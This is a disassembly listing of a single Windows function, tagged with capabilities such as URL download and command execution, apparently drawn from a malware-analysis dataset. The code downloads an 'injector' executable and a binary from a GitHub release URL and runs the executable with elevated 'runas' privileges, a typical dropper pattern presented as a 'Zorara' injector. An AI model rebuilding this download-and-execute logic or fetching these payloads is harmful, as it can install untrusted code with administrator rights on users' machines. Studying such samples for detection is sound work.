Function at 0x140011456
Capabilities:
Create process on windows
Download url
Execute command
Receive data

Disassembly:
jmp 0x140016480
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x14002b0f3]
call fcn.140011640
nop
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
nop
call fcn.1400113b1
nop
lea rdx, str.Welcome_User__Injecting...._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b4
nop
lea rdx, str.https:__github.com_httpspy_QDDWA_releases_download_wwda_CeleryInject.exe
lea rcx, [rbp + 8]
call fcn.1400112bc
nop
lea rcx, [rbp + 0x338]
call fcn.14001140b
mov qword [rbp + 0x408], rax
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x410], rax
lea r8, str.ZoraraInject.exe
mov rdx, qword [rbp + 0x410]
lea rcx, [rbp + 0x48]
call fcn.1400115c3
nop
lea rcx, [rbp + 0x338]
call fcn.140011136
nop
lea rcx, [rbp + 0x48]
call fcn.140011096
mov qword [rbp + 0x408], rax
lea rcx, [rbp + 8]
call fcn.140011096
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x408]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.140011186
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jge 0x1400165cc
lea rdx, str.Failed_to_download_injector_executable._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110b4
nop
mov dword [rbp + 0x374], 1
lea rcx, [rbp + 0x48]
call fcn.140011136
nop
lea rcx, [rbp + 8]
call fcn.140011136
mov eax, dword [rbp + 0x374]
jmp 0x1400167fd
lea rdx, str.https:__github.com_httpspy_QDDWA_releases_download_wwda_CeleryIn.bin
lea rcx, [rbp + 0xa8]
call fcn.1400112bc
nop
lea rcx, [rbp + 0x398]
call fcn.14001140b
mov qword [rbp + 0x408], rax
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x410], rax
lea r8, str.CeleryIn.bin
mov rdx, qword [rbp + 0x410]
lea rcx, [rbp + 0xe8]
call fcn.1400115c3
nop
lea rcx, [rbp + 0x398]
call fcn.140011136
nop
lea rcx, [rbp + 0xe8]
call fcn.140011096
mov qword [rbp + 0x408], rax
lea rcx, [rbp + 0xa8]
call fcn.140011096
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x408]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.140011186
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jge 0x1400166cd
lea rdx, str.Failed_to_download_binary_file._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110b4
nop
mov dword [rbp + 0x3d4], 1
lea rcx, [rbp + 0xe8]
call fcn.140011136
nop
lea rcx, [rbp + 0xa8]
call fcn.140011136
nop
lea rcx, [rbp + 0x48]
call fcn.140011136
nop
lea rcx, [rbp + 8]
call fcn.140011136
mov eax, dword [rbp + 0x3d4]
jmp 0x1400167fd
lea rax, [rbp + 0x130]
mov rdi, rax
xor eax, eax
mov ecx, 0x70
rep stosb byte [rdi], al
mov dword [rbp + 0x130], 0x70
mov dword [rbp + 0x134], 0x40
mov qword [rbp + 0x138], 0
lea rax, str.runas
mov qword [rbp + 0x140], rax
lea rcx, [rbp + 0x48]
call fcn.140011096
mov qword [rbp + 0x148], rax
lea rax, [0x140020693]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], 0
mov dword [rbp + 0x160], 0
mov qword [rbp + 0x168], 0
lea rcx, [rbp + 0x130]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x140016772
lea rdx, str.Injected__Youre_now_ready_to_use_Zorara__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b4
nop
jmp 0x1400167b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x404], eax
lea rdx, str.An_error_occurred:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110b4
mov ecx, dword [rbp + 0x404]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140020d24]
mov rcx, rax
call fcn.1400110b4
nop
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
nop
mov dword [rbp + 0x3f4], 0
lea rcx, [rbp + 0xe8]
call fcn.140011136
nop
lea rcx, [rbp + 0xa8]
call fcn.140011136
nop
lea rcx, [rbp + 0x48]
call fcn.140011136
nop
lea rcx, [rbp + 8]
call fcn.140011136
mov eax, dword [rbp + 0x3f4]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140020160]
call fcn.140011537
mov rax, rdi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.140011311
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret